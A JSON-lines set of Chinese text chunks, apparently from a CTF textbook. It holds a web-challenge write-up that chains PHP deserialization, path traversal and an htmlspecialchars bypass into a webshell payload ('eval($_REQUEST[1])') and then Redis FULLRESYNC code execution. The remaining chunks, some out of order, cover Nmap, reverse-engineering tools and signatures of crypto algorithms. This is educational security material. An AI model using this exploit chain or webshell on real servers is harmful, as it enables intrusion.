    {"text": "图8-3 题目界面 注意，Cookie中存在反序列化字符串形式的值，如图8-4所示。 图8-4 发现反序列化字符串 所以猜测这道题可能需要获得源码并进行审计，扫描后发现存在Git泄露源码的问题。"},
    {"text": "我们关注到该题主要有3个大类，分别是：User、Cache、Page，并且在代码中使用了Redis作为数据库，代码如下： $redis = new Redis(); $redis->connect(\"db\", 6379) or die(\"Cant connect to database\"); 所以猜测题目不是要Getshell就是SSRF，flag很有可能在Redis数据库服务器中。"},
    {"text": "在大概了解了代码结构之后，首先我们关注一下Page类里的publish方法，代码如下： public function publish($filename) { $user = User::getInstance(); $ext = substr(strstr($filename, \".\"), 1); $path = $user->getCacheDir() . \"/\" . microtime(true) . \".\" . $ext; $user->checkWritePermissions(); Cache::writeToFile($path, $this); } 可以看到，在路径的结尾，文件名的后缀会取第一个“点”后面的部分，构造出路径穿越，例如： $filename = './../../../../../var/www/html/sky.php'; 我们可以利用这一点进行任意目录写。 下面再来跟进一下传参方式，首先看一下index.php，代码片段如下： $controller = new MainController(); $method = \"do\".$_GET[\"m\"]; if (method_exists($controller, $method)){ $controller->$method(); } else { $controller->doIndex(); } 从这段代码中可以发现，我们可以触发以“do”开头的方法，接下来查看调用publish的相关方法，代码如下： public function doPublish(){ $this->checkAuth(); $page = unserialize($_COOKIE[\"draft\"]); $fname = $_POST[\"fname\"]; $page->publish($fname); setcookie(\"draft\", null, -1); die(\"Your blog post will be published after a while (never)<br><ahref=/>Back</a>\"); } 可以看到，doPublish方法体第4行的$page会调用publish方法，该方法的参数使用了POST的fname参数。 那么我们可以构造fname参数为： ./../../../../../var/www/html/sky.php 继续往下，可以看到“Cache::writeToFile($path,$this);”，从方法名可以判断出这是一个写文件操作，下面继续跟进writeToFile方法，代码如下： class Cache { public static function writeToFile($path, $content) { $info = pathinfo($path); if (!is_dir($info[\"dirname\"])) throw new Exception(\"Directory doesn't exists\"); if (is_file($path)) throw new Exception(\"File already exists\"); file_put_contents($path, $content); } } 可以看出，writeFile方法在写文件之前会先判断目录是否存在，若不存在则抛出异常，而我们的路径为： $path = $user->getCacheDir() . \"/\" . microtime(true) . \".\" . $ext; 显然，microtime(true)目录是不存在的，所以我们继续跟进参与到路径变量拼接中的getCacheDir方法，代码如下： public function getCacheDir(): string { $dir_path = self::CACHE_PATH . $this->name; if (!is_dir($dir_path)){ mkdir($dir_path); } return $dir_path; } 我们发现其中调用了mkdir方法来创建目录，并且这一步是在校验写权限方法“$user->checkWritePermissions();”之前。"},
    {"text": "图8-5 microtime返回格式 可以设置一个提前时间量用于批量创建文件夹，然后就可以用Burp或自写脚本进行爆破，直到找到目录，达到任意写文件的目的。"},
    {"text": "在确认可任意写文件之后，还需要控制文件的内容，接下来是审计相关代码： Cache::writeToFile($path, $this); 注意，writeFile方法的第二个参数是$this，再次查看writeToFile方法，可以发现如下关键代码： file_put_contents($path, $content); 此处会触发魔法方法__toString方法（参见5.1.2节关于反序列化漏洞的相关内容）： public function __toString(): string { return $this->render(); } 并在__toString方法中触发render方法，render方法代码如下： public function render(): string { $user = User::getInstance(); if (!array_key_exists($this->template, self::TEMPLATES)) die(\"Invalid template\"); $tpl = self::TEMPLATES[$this->template]; $this->view = array(); $this->view[\"content\"] = file_get_contents($tpl); $this->vars[\"user\"] = $user->name; $this->vars[\"text\"] = $this->text.\"\\n\"; $this->vars[\"rendered\"] = microtime(true); $content = $this->renderVars(); $header = $this->getHeader(); return $header.$content; } 可以看到，render方法体中倒数第三行对content进行了处理： $content = $this->renderVars(); 所以我们跟进renderVars方法，看看处理规则是怎样的，renderVars方法代码如下： public function renderVars(): string { $content = $this->view[\"content\"]; foreach ($this->vars as $k=>$v){ $v = htmlspecialchars($v); $content = str_replace(\"@@$k@@\", $v, $content); } return $content; } 可以发现foreach循环体中第二行会对content进行编码： $v = htmlspecialchars($v); 此处调用了一个HTML字符实体编码的方法，那么现在的难点在于，我们无法构造出php tag来写入文件，因为htmlspecialchars方法会将“<?php”转义为“&lt;?php”，如图8-6所示。"},
    {"text": "图8-6 HTML字符实体 所以，这里就需要巧妙地构造出一个不被转义的php tag，从renderVars方法中可以看到，返回的$content在过滤前会被$this->view[\"content\"]赋值。"},
    {"text": "如果我们能在赋值之前控制$this->view，将其变成字符串而非数组，那么便可以绕过过滤（如图8-7所示），这里需要用到2017 GCTF中的一个方法（可参考 https://skysec.top/2017/06/20/GCTF 中与PHP反序列化相关的题目）。 图8-7 绕过htmlspecialchars编码 这个方法利用的是“&”符，比如“$this->vars[\"text\"]=&$this->view;”，此时只要改变$text的值，即可达到更改$this->view的目的。 我们可以在doSaveDraft方法中看到$text并没有被过滤，所以可以构造： $text='<?php'; 这样$view就会变成字符串而非数组了，这便达成了在图8-7中bypass过滤的目的。"},
    {"text": "所以exp必须一次到位，那么这里就要看render方法中最后的return语句，如下： return $header.$content; 假如$content依然为对象，那么代码就会继续触发_toString()，这样一来我们就可以一个字符一个字符地进行拼接，直到凑出exp，下面附上lcbc构造的exp，代码如下： $PAYLOAD = \"<?php eval(\\$_REQUEST[1]);\"; function gen_payload($payload){ $expl = false; for ($i=0; $i<strlen($payload); $i++){ $p = new Page(\"main\"); $p->text= $payload[$i]; $p->vars[\"text\"] = &$p->view; if (!$expl) $expl = $p; else { $p->header = $expl; $expl = $p; } } return serialize($expl); } gen_payload($PAYLOAD); 这样就可以非常巧妙地拼接出Payload了，如图8-8所示。"},
    {"text": "图8-8 生成Payload 由于在写文件时会跟随很多tpl模板中输出的内容，这些内容会导致PHP解析失败（如图8-9所示），所以在最后闭合“?>”的时候，还使用了一个技巧，可以使用__halt_compiler方法让编译器停止继续向下编译，如图8-10所示。 图8-9 无关数据导致的编译失败 图8-10 用__halt_compiler方法使编译器停止 将Payload提交后就可以顺利拿到Webshell了，拿到Webshell之后，我们需要从Redis中获得flag。"},
    {"text": "让目标192.168.1.106:10004成为该服务的从服务端（实际情况下，若不在同一网络下，则需要端口转发），利用FULLRESYNC进行远程代码执行，如图8-11所示。"},
    {"text": "未知 1.3 浏览器与插件 由于比赛时可能会遇到兼容性方面的问题，并且题目有可能会对浏览器做出限制，或者需要考察特定浏览器的漏洞，所以笔者建议大家将IE、Firefox（开发者版本）及Chrome等主流浏览器各安装一个。本节主要介绍Chrome的插件，Firefox中也会有类似的插件。笔者不推荐用IE来答题，不过还请读者根据自己的喜好自行选择。 在Chrome中安装扩展可直接在地址栏中输入chrome://extensions/并按回车键进入，也可以依次选择右上角的设置→更多工具→扩展进入相同的界面。 这里推荐几个在日常和CTF比赛中比较常用的Chrome浏览器插件。 1.Developer Tools Developer Tools是Chrome浏览器自带的开发者工具，也是最常用到的功能，它集成Elements、Console、Sources、Network、Application等丰富的开发工具于一体，可以让Chrome对网页的元素、样式和脚本进行实时编辑、调试和监控。这里简单介绍一下常用面板的功能。 ·Elements：查看网页源码经过浏览器渲染后的所有元素，可手动修改元素的属性和样式，并在浏览器中得到实时的反馈。 ·Console：记录并显示开发者或浏览器输出的日志和调试信息，并可以作为与JS进行实时交互的命令行Shell。 ·Sources：通常用于下断点调试JS。 ·Network：记录发起请求后服务器响应的各种资源信息（包括状态码、资源类型、大小、耗时等），可以查看每个请求和响应的元信息。 ·Application：记录网站加载的所有资源信息，包括存储数据（Local Storage、Session Storage、IndexedDB、Web SQL、Cookies）、缓存数据、字体、图片、脚本、样式表等。 ·Security：从技术层面判断当前网页的安全性，如，是否有可疑代码、证书是否合法、通信链路是否安全等。注意，其并 不能 判断该网站是否为钓鱼网站或是否含有欺诈信息！ 在CTF比赛中，需要处理JS相关的题目时，可以在Console面板中直接运行JS代码，而在XSS题目中，在Elements面板中可以方便地定位元素的位置等。 2.Hasher 一款可以快速计算常见哈希算法（MD5/SHA1/HMAC/CRC等）、常用加密算法（AES/DES/RC4等）、编码转换（Base64/ROT13/HTML字符实体等）、网络地址转换、时间转换及进制转换等功能的工具，与前面Burp中的Decoder模块类似。 3.Proxy SwitchyOmega 这是Chrome的一款代理插件，可以在多个代理配置文件之间快速切换。在前面的小节中我们说过，Burp切换代理时不是十分方便，这时候就可以将Burp与它结合，从而实现点击鼠标就能完成代理的切换。此外，在遇到内网渗透相关的题目时，打通socket隧道后也可以用它来让浏览器全局使用代理进行内网渗透。同时，它还可以配合“梯子”以实现科学上网。 4.EditThisCookie EditThisCookie是一个Cookie管理器，它可以方便地添加、删除、修改、查询和锁定站点的Cookies。这个插件可以配合XSS的题目使用，例如，当我们获得管理员的Cookies后，可以方便地修改这个站点的Cookies，从而以管理员的身份登录并进行后续获取flag的操作。 5.User-Agent Switcher for Chrome 这款工具可以让我们方便地进行User-Agent的切换，这一点在某些限制User-Agent的题目中可能会用到，比如模拟微信客户端UA进行访问等。 6.Wappalyzer 这款插件可以方便地查看当前站点的服务器型号、版本、服务器端语言等信息，可以帮我们进行一些初步的信息收集。不过，此处获取到的信息仅可作为参考，因为部分比赛题目会使用障眼法来影响你的判断，例如，Apache服务器返回了一个伪造的IIS头。 7.SelectorGadget和XPath Helper 这两个插件都是用来定位、提取和选择指定元素的XPath，通常配合爬虫使用。 当然，Chrome中的插件还有很多，这里就不再一一举例说明了。希望大家在CTF比赛或是实际的渗透测试中也能发掘出一些好用的插件，并提高熟练度。 未知 本篇小结 本篇主要介绍了CTF比赛中常用的工具及常见题目的考点，由于Web题目通常是灵活多变的，所以本篇无法面面俱到地为大家讲解。 在解答Web题目的时候，除了前面讲到的各种知识点，还应该考虑题目上下文的系统特性、语言特性、版本特性、程序处理机制等因素。 大家还可以自行阅读《白帽子讲Web安全》《SQL注入攻击与防御》《黑客攻防技术宝典——Web实战篇》《Web前端黑客技术与揭秘》等相关书籍，并关注国内外最新的安全焦点，来进一步学习Web安全的相关知识。 在参加CTF比赛或做CTF练习题的时候，更多的是需要靠积累的经验来判断出题人的考点是什么，而本篇的主要目的也是希望帮助读者在遇到Web题目时能有一个正确的思考方法。 未知 第二篇 CTF之Reverse Reverse即软件逆向工程，是对编译成型的二进制程序进行代码、逻辑和功能分析的过程。在CTF比赛中，Reverse类型的题目主要考察选手的软件静态分析和动态调试能力，要求选手有较强的程序代码分析能力，同时对反调试、代码混淆等对抗技术有一定的了解。 未知 第9章 Reverse概述 本章将讲解逆向分析的主要方法、汇编指令体系结构和常用逆向分析工具。"},
    {"text": "未知 9.1 逆向分析的主要方法 逆向分析主要是将二进制机器码进行反汇编得到汇编代码，在汇编代码的基础上进行功能分析。经过反编译生成的汇编代码中缺失了源代码中的符号、数据结构等信息，因此需要尽可能地通过逆向分析还原以上信息，以便分析程序原有的逻辑和功能。逆向分析的主要方法包括静态分析法和动态分析法。 1.静态分析法 静态分析法是在不执行代码文件的情形下，对代码进行静态分析的一种方法。静态分析时并不执行代码，而是观察代码文件的外部特性，主要包括文件类型分析和静态反汇编、反编译。 文件类型分析主要用于了解程序是用什么语言编写的或者是用什么编译器编译的，以及程序是否被加密处理过。 在逆向过程中，主要是使用反汇编工具查看内部代码，分析代码结构。 2.动态分析法 动态分析法是在程序文件的执行过程中对代码进行动态分析的一种方法，其通过调试来分析代码，获取内存的状态等。在逆向过程中，通常使用调试器来分析程序的内部结构和实现原理。 注意： 在CTF中，常见的逆向目标为Windows、Linux平台下的x86、x64二进制可执行程序，本章中也只针对Windows和Linux平台下的逆向分析进行介绍。 未知 9.2 汇编指令体系结构 因为逆向分析的程序所使用的处理器架构通常为Intel架构，所以这里对Intel x86和x64指令体系做一个简单的介绍，包括寄存器组、指令集、调用规范。 未知 9.2.1 x86指令体系 1.寄存器组 x86指令体系中的寄存器组具体如下。 ·通用寄存器：包括EAX、EBX、ECX、EDX、ESI、EBP、ESP。 ·指令指针寄存器（EIP）：指向当前要执行的指令。 ·状态标识寄存器（EFLAGS）：根据状态标识寄存器中状态的值控制程序的分支跳转。 ·段寄存器：CS、DS、SS、ES、FS、GS。在当前的操作系统中，CS、DS、SS和ES的段寄存器的基地址通常为0。 ·特殊寄存器：包括DR0-DR7，用于设置硬件断点。 2.汇编指令集 x86汇编代码有两种语法记法：Intel和AT&T。常用的逆向分析工具IDA Pro、Ollydbg和MASM通常使用Intel记法，而UNIX系统上的工具gcc通常遵从AT&T记法。Intel记法在实践中占据统治地位，也是本书中使用的记法。 Intel的汇编语言程序语句格式为： 操作项 目的操作数， 源操作数 其中，操作项一般是汇编语言中的一些指令，比如add（加法）、mov（移动）等指令。目的操作数和源操作数一般都是寄存器、内存地址或者立即数。 指令主要包括以下几类。 （1）数据传送类指令 数据传送类指令是使用最频繁的指令，格式为：MOV DEST，SRC 功能：将一个字节、字或双字从源操作数SRC传送至目的操作数DEST。 （2）栈操作与函数调用 如表9-1所示，栈操作包括入栈（PUSH）和出栈（POP）。函数调用与返回通过CALL/RET指令实现。CALL指令将当前的EIP保存到堆栈中，RET指令读取堆栈，得到返回地址。 表9-1 栈操作相关指令说明 （3）算数、逻辑运算指令 如add、sub、mul、div、and、or、xor等算数逻辑运算。 （4）控制转移指令 ·cmp：对两个操作数执行减法操作，修改状态标识寄存器。 ·test：对两个操作数执行与操作，修改状态标识寄存器。 ·jmp：强制跳转指令。 ·jcc：条件跳转指令，包括jz、jnz等。 （5）特殊指令 一些具有特殊意义的指令，如： ·int3指令：对应字节码为0xcc，主要用于设置软断点。 ·int 0x80：Linux系统中32位的系统调用指令。 3.x86应用程序二进制接口 调用惯例是指一系列规则，其规定了在机器层面如何进行函数调用。对于特定的系统来说，它是由应用程序二进制接口（Application Binary Interface，ABI）定义的。x86指令体系中的函数调用如图9-1所示，当发生函数调用时，首先将参数从右向左加入堆栈中，然后通过call指令将函数的返回地址压入堆栈中。最后，在新函数中将之前的ebp保存到堆栈中，同时esp会减去一定的值，留下一部分栈空间给局部变量使用。 图9-1 x86指令体系中的函数调用示意图 未知 9.2.2 x64指令体系 x64指令体系与x86指令体系大致相同，这里主要针对不同点进行说明。 1.寄存器组 通用寄存器增加到16个，分别为RAX、RBX、RDX、RCX、RBP、RDI、RSI、RSP，R8～R15。 2.系统调用指令 syscall/sysret是Linux 64位操作系统的系统调用方式。 3.x64应用程序二进制接口 有两种广泛使用的x64 ABI，列举如下。 ·Microsoft’s x64 ABI：主要用于Windows操作系统中的64位程序。 ·SysV x64 ABI：主要用于Linux、BSD、MAC等操作系统中的64位程序。 Microsoft’s x64 ABI的前4个参数通过寄存器RCX、RDX、R8、R9传递，其余则是通过栈传递，但在栈上会预留下0x20字节的空间用于临时保存前4个参数，返回值为RAX。对应的函数调用形式如下： RAX func(RCX, RDX, R8, R9, [rsp+0x20], [rsp+0x28], ……) SysV x64 ABI的前6个参数（RDI、RSI、RDX、RCX、R8、R9）通过寄存器传递，其余则是通过栈传递，在栈上没有为前6个参数预留空间，返回值为RAX寄存器。对应的函数调用形式如下： RAX func(RDI, RSI, RDX, RCX, R8, R9, [RSP+8], [RSP+0x10], ……) 未知 9.3 逆向分析工具介绍 工欲善其事，必先利其器。在掌握了逆向的基础知识后，我们还需要掌握一些合适的逆向分析工具。"},
    {"text": "未知 9.3.1 反汇编和反编译工具 反汇编工具有很多，但功能最强大、应用最广泛的当属IDA Pro（简称IDA）。在反编译方面，最好的反编译工具为IDA自带的Hex-Ray插件（快捷键为F5），所以这里主要介绍IDA。 IDA支持的文件类型非常丰富，除了包括PE格式、ELF格式之外，还包括DOS、Mach-O、.NET等文件格式。同时IDA还支持几十种不同的处理器架构。 1.IDA打开文件 通过菜单栏中的File→Open，选择要分析的目标程序，得到如图9-2所示的窗口，可以看出，IDA自动识别出了程序为x86_64的ELF程序，直接点击OK即可。 图9-2 IDA打开文件 2.IDA主窗口介绍 IDA的主窗口如图9-3所示，主要包括以下几个区域。 图9-3 IDA主窗口 （1）工具栏区域 工具栏包括与IDA常用工具相对应的工具，可以使用菜单中的View/Toolbar来显示或者隐藏工具栏。 （2）导航带 导航带是加载文件的地址空间的线性视图，默认情况下，其会呈现二进制文件的整个地址范围。不同的颜色表示不同类型的文件，如代码或者数据。同时，还会有一个细小的当前位置指示符（默认为黄色）指向与当前反汇编窗口中显示的地址范围对应的导航带地址。通常，我们分析程序时，主要分析程序自身，而不是分析相应的库函数，可以根据导航带确定大致的范围。 （3）函数窗口 函数窗口上显示了所有的函数。如果程序是带有符号的，那么IDA会自动解析符号信息，将函数的真实名称显示出来，函数名通常有利于分析人员猜测函数的功能。此外，IDA使用了FLIRT签名库的方式来识别库函数，因此即使是没有带符号信息的二进制程序，IDA也很可能自动识别出部分库函数。对于不能识别的函数，函数名通常会以sub_开头，后面再加上函数的起始地址。 （4）数据显示窗口 IDA为每一个数据显示窗口都提供了标签，通过菜单中的View/Open subviews可以打开相应的数据显示窗口，主要的数据显示窗口包括：反汇编窗口、反编译窗口、导入表窗口、导出表窗口、结构体窗口等。 （5）消息窗口 消息窗口显示的是IDA输出的信息。在这里，用户可以找到与文件分析有关的状态消息，以及由用户操作导致的错误消息。消息窗口基本上等同于一个控制台输出设备。 3.IDA的基本使用 （1）函数修正 一般以push ebp/rbp指令开头的地址为一个函数的起始地址，但是有时候IDA并没有将其正确地识别为函数，此时就需要手动地将其创建为函数，创建函数之后通常就能对该函数进行反编译操作了。 创建函数的方式为：在函数的起始地址的汇编代码处，点击右键，选择Create Function，对应的快捷键为P。 （2）指令修正 在IDA中，如果某些指令或者数据识别有误，可以进行手动修正。 如图9-4所示，地址0x4010D9和0x4010DB汇编指令跳转的目标地址为0x4010DF，程序运行到0x4010D9时，必然会跳转到0x4010DF，而不会运行到0x4010DD，所以需要在0x4010DD处使用快捷键D将其转化为数据。 图9-4 IDA错误的反汇编代码 然后，在地址0x4010DF处使用快捷键C将其转化为代码，得到如图9-5所示的结果。 图9-5 IDA修正后的反汇编代码 （3）数据修正 同理，在数据段中，一个数据的长度可能为1、2、4或者8字节，此时可以通过快捷键D来修改为对应的类型。 如果数据段中的某个部分为一个字符串，但是IDA并没有正确识别，那么可以使用快捷键A将其转换为一个ASCII字符串。 （4）注释信息与重命名 在使用IDA分析程序的时候，经常会通过修改程序中的变量或者函数名等信息帮助读者理解，点击右键，选择Rename即可进行重命名。 此外，还可以为代码添加注释，使用快捷键“；”可以在反汇编窗口中添加注释，使用快捷键“/”可以在反编译窗口添加注释。 对于一些针对不常用处理器架构编写的程序，可以开启汇编的自动注释功能。开启的方式为勾选界面中的Auto comments，如图9-6所示。 图9-6 IDA开启自动注释功能界面 （5）二进制程序的patch 由上文可以知道，0x4010dd处的两个字节为多余字节，虽然经过代码修正后能够看到正常的反汇编代码，但是并不能直接进行反编译。此时，将多余的两个字节转化为空指令（nop指令，对应的字节码为0x90），这样函数就能够正常地反编译了。 修改的方法如图9-7所示，依次选择菜单栏中的Edit→Patch program→Change byte功能进行修改。 图9-7 IDA对程序进行patch （6）交叉引用 IDA中包含了两类基本的交叉引用：代码交叉引用和数据交叉引用。 ·代码交叉引用用于表示一条指令将控制权转交给另一条指令。通过代码交叉引用，可以知道哪些指令调用了哪个函数或指令。 ·数据交叉引用可用于追踪二进制文件访问数据的方式。通过数据交叉引用，可以知道哪些指令访问了哪些数据。"},
    {"text": "（1）主界面 OD主界面如图9-8所示，各部分介绍如下。 图9-8 OD主界面 ·反汇编窗口：载入程序后，窗口内显示的是程序反汇编后的源代码。"},
    {"text": "·信息窗口：进行动态调试时，窗口内会显示出当前代码行的各个寄存器的信息，或者API函数的调用、跳转等信息，可以用来辅助了解当前代码行的寄存器的运行情况。"},
    {"text": "一般来说，主要是输入下断点或者清除断点的命令。 “命令行命令.txt”文件中有详细的命令及功能介绍，大家可以查看。 （2）断点操作 动态调试时要使程序在关键代码处中断，然后根据显示的动态信息进行动态分析，这就需要对程序下断点。 断点有一般断点、内存断点、硬件断点等类型，一般断点是最常使用的断点方式。 1）一般断点 一般断点就是将输入的断点地址处的第一个字节用INT3指令来代替。 当程序运行到断点地址时，就会执行INT3指令，Ollydbg就会捕捉到这个指令而中断下来。 下断点一般有如下两种方式： ·F2键：在反汇编窗口中的代码行上面按F2键就可以下断点。"},
    {"text": "从破解上讲，一个注册码的生成一定是由一些关键数据或者原始数据计算而来的，所以在内存中一定会用到这些关键数据，那么内存访问断点就是比较好的中断方法。"},
    {"text": "如果想要设置内存断点，则可以在数据窗口中的十六进制栏内选择一部分内存数据，然后单击鼠标右键出现功能菜单，选择“断点”，然后从中选择内存访问断点或者内存写入断点。"},
    {"text": "·F9键：载入程序后，按F9键就可以运行程序了。 ·F7键：单步跟踪（步入），即一条代码一条代码地执行，遇到Call语句时会跟入执行该语句调用地址处的代码或者调用的函数代码。 ·F8键：单步跟踪（步过），遇到Call语句时不会跟入。 ·F4键：执行到所选代码。 ·ALT+F9键：执行到程序领空，如果进入到引用的DLL模块领空，则可以用此快捷键快速回到程序领空。"},
    {"text": "2.gdb gdb是一个由GNU开源组织发布的、UNIX/Linux操作系统下的、基于命令行的、功能强大的程序调试工具。 （1）安装 在大多数Linux发行版中，gdb都是默认安装的，如果没有，那么在Ubuntu下可以通过apt-get进行安装，安装命令为： sudo apt-get install gdb 如果需要调试其他架构的elf程序，则可以安装gdb-multiarch，安装命令为： sudo apt-get install gdb-multiarch 此外，gdb也有很多插件，如peda、gef、pwndbg等，这里的插件提供了一些额外的命令，便于对程序进行逆向分析。"},
    {"text": "图9-9为gdb安装了peda插件之后运行的界面，可以通过peda help命令查看新增的命令。 图9-9 gdb安装peda插件后的界面 （2）基本的调试操作 表9-2至表9-7展示了基本的调试操作命令及其说明。 1）启动和结束gdb 表9-2 启动和结束gdb 2）通用命令 表9-3 gdb的通用命令 3）断点 表9-4 gdb断点命令 4）运行调试目标 表9-5 运行调试目标 5）查看和修改程序状态 表9-6 查看和修改程序状态 6）其他命令 表9-7 gdb的其他常用命令"},
    {"text": "未知 1.4 Nmap 说到Nmap，想必大家在入门之前都听说过。它的设计目标是快速地扫描大型网络，当然，用它扫描单个主机也没有问题。它可以使我们方便地发现网络上有哪些主机，这些主机可以提供什么服务（应用程序名和版本），这些服务运行在什么操作系统（包括版本信息）上。Nmap还可以探测到这些主机使用了什么类型的报文过滤器或防火墙，以及其他一些很有用的功能。下面就来简单介绍一下Nmap的基本命令和使用方法。Nmap的命令格式如下： nmap [扫描类型][选项]{目标或目标集合} 我们先简单介绍下主机发现相关的参数选项，如表1-7所示。 接下来是扫描参数选项，如表1-8所示。 然后是扫描速度设定的参数选项，如表1-9所示。 最后是扫描端口的常见参数选项，如表1-10所示。 表1-7 Nmap常用的主机发现相关的参数 表1-8 Nmap常用的扫描参数 表1-9 Nmap常用的扫描速度相关的参数 表1-10 Nmap常用的扫描端口相关的参数 一般来说，如果我们输入命令nmap 192.168.1.1，实际上Nmap使用的是SYN扫描192.168.1.1开放率最高的1000个端口。笔者在实践中经常使用的扫描命令是： nmap -sS -sV -p- 192.168.1.1 或： nmap -v -T4 -A 192.168.1.1/24 此外，Nmap扫描器还支持自定义扫描脚本（NSE），并提供了大量的常见服务的相关脚本，如SQL注入检测脚本、SMB漏洞扫描脚本、FTP爆破脚本等。 更加详细和全面的Nmap资料，大家可以在Nmap官网上获取，官方文档地址为： https://nmap.org/book/man.html 。 未知 9.3.3 Trace类工具 Trace类工具通过一定的方式监控并记录程序的运行，然后使分析者在记录的信息中得到程序的一些动态信息。例如，strace工具是Linux下的一个用来跟踪系统调用的工具。这里主要介绍一个更为强大的Trace类工具：Qira。 Qira的官方主页为 http://qira.me/ ，由著名的黑客geohot开发。安装完成之后，运行命令qira-s/bin/ls，这样相当于在4000端口开启服务/bin/ls，使用nc localhost 4000即可连接上去。同时，还会开启3002的Web端口，如图9-10所示。 浏览器Web界面主要包括以下几个部分。 图9-10 Qira的浏览器Web页面 1）最左边两列为fork，每次用nc连一次4000端口，就会多一个fork。图9-10中的两列表示链接过两次4000端口。 2）右边的最上面有4个框，分别对应如下信息。 ·113表示程序运行的第113条指令。 ·0表示第0个fork。 ·0x80484c7表示指令的地址。 ·0xf6fff01c表示数据的地址。 3）右边的下面是程序运行的指令、寄存器、内存、调用的系统调用等。 未知 第10章 Reverse分析 本章将从常规逆向分析流程、自动化逆向、脚本语言的逆向和干扰分析技术及破解方法来具体介绍如何进行Reverse分析。 未知 10.1 常规逆向分析流程 因为在一个可执行程序（尤其是图形化的程序）中，汇编代码量比较庞大，因此需要能够定位出真正需要分析的关键代码。在找到关键代码之后，需要对关键代码采用的算法进行分析，理清程序功能。最后针对程序功能，写出对应脚本，解出flag。 未知 10.1.1 关键代码定位 1.API断点法 在获取文本输入时，对于窗口类程序获取文本的方式主要是通过GetWindowText和GetDlgItemText两个API来获取。在输出结果时，程序通常会弹出对话框，调用的API通常为MessageBox。在这些API函数中下断点，在调试器中断下来之后，通过栈回溯即可定位到关键代码。 2.字符串检索法 （1）在IDA中查找字符串 打开Strings子窗口，通过Ctrl+F快捷键输入你想要查找的字符串，如图10-1所示。 （2）在OD中查找字符串 通过Alt+E快捷键，可以查看可执行模块，找到主模块，如图10-2所示。 点击右键，选择中文搜索引擎选项，根据需要选择搜索ASCII或者搜索UNICODE，如图10-3所示。 图10-1 在IDA中查找字符串 图10-2 在OD中找到主模块 图10-3 在OD中搜索字符串 3.辅助工具定位法 针对特定语言或者编译器生成的程序，有一些辅助工具可帮助用户快速定位按键处理程序的地址，如针对MFC程序的xspy，针对Delphi程序的Dede，等等。"},
    {"text": "未知 10.1.2 常见加密算法识别 在对数据进行变换的过程中，通常会使用一些常用的加密算法，因此如果能够快速识别出对应的加密算法，就能更快地分析出整个完整的算法。"},
    {"text": "1.base64 base64主要是将输入中的每3字节（共24比特）按每6比特分成一组，变成4个小于64的索引值，然后通过一个索引表得到4个可见字符。 索引表为一个64字节的字符串，如果在代码中发现引用了这个索引表“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”，那么基本上就可以确定使用了base64，如图10-4所示。"},
    {"text": "图10-4 base64加密算法的反编译伪代码 2.TEA TEA算法是一种常见的分组加密算法，密钥为128比特位，明文为64比特位，主要做了32轮变换，每轮变换中都涉及移位和变换。"},
    {"text": "TEA的源码如下： void encrypt(uint32_t*v,uint32_t*k) { uint32_t v0 = v[0], v1 = v[1], sum = 0, i; uint32_t delta = 0x9e3779b9; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for(i=0;i<32;i++) { sum += delta; v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); } v[0] = v0; v[1] = v1; } void decrypt(uint32_t*v,uint32_t*k) { uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; uint32_t delta = 0x9e3779b9; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for(i = 0; i < 32; i++) { v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } v[0] = v0; v[1] = v1; } 对TEA的识别也比较容易，在TEA算法中有一个固定的常数0x9e3779b9或者0x61c88647。"},
    {"text": "图10-5 AES的加解密原理 AES加密过程涉及4种操作：字节替代（SubBytes）、行移位（ShiftRows）、列混淆（MixColumns）和轮密钥加（AddRoundKey）。"},
    {"text": "图10-6 AES加密算法的主要逻辑 进入字节替换子函数sub_401140之后（如图10-7所示），很明显可以发现这里用到了一个索引表byte_B6E000。 图10-7 AES加密算法中的字节替换函数 查看该索引表，如图10-8所示，发现其正是我们所知道的S盒。"},
    {"text": "图10-8 AES加密算法用到的S盒 4.RC4 RC4加密算法属于流加密算法，包括初始化函数和加解密函数，函数代码具体如下： /*初始化函数*/ void rc4_init(unsigned char*s,unsigned char*key, unsigned long Len) { int i=0,j=0; //char k[256]={0}; unsigned char k[256]={0}; unsigned char tmp=0; for(i=0;i<256;i++) { s[i]=i; k[i]=key[i%Len]; } for(i=0;i<256;i++) { j=(j+s[i]+k[i])%256; tmp=s[i]; s[i]=s[j];//交换s[i]和s[j] s[j]=tmp; } } /*加解密*/ void rc4_crypt(unsigned char*s,unsigned char*Data,unsigned long Len) { int i=0,j=0,t=0; unsigned long k=0; unsigned char tmp; for(k=0;k<Len;k++) { i=(i+1)%256; j=(j+s[i])%256; tmp=s[i]; s[i]=s[j];//交换s[i]和s[j] s[j]=tmp; t=(s[i]+s[j])%256; Data[k]^=s[t]; } } 可以看出，初始化代码对字符数组s进行了初始化赋值，且赋值分别递增，之后又对s进行了256次交换操作。"},
    {"text": "5.MD5 MD5消息摘要算法，是一种被广泛使用的密码散列函数，可以产生一个128位（16字节）的散列值，用于确保信息传输的完整性和一致性。"},
    {"text": "MD5加密的函数大致如下： MD5_CTX md5c; MD5Init(&md5c); MD5UpdaterString(&md5c, plain); MD5Final(digest,&md5c); 其中，MD5Init会初始化四个称作MD5链接变量的整数参数。"},
    {"text": "MD5Init函数代码如下： void MD5Init (MD5_CTX *context) /* context */ { context->count[0] = context->count[1] = 0; /* Load magic initialization constants. */ context->state[0] = 0x67452301; context->state[1] = 0xefcdab89; context->state[2] = 0x98badcfe; context->state[3] = 0x10325476; }"},
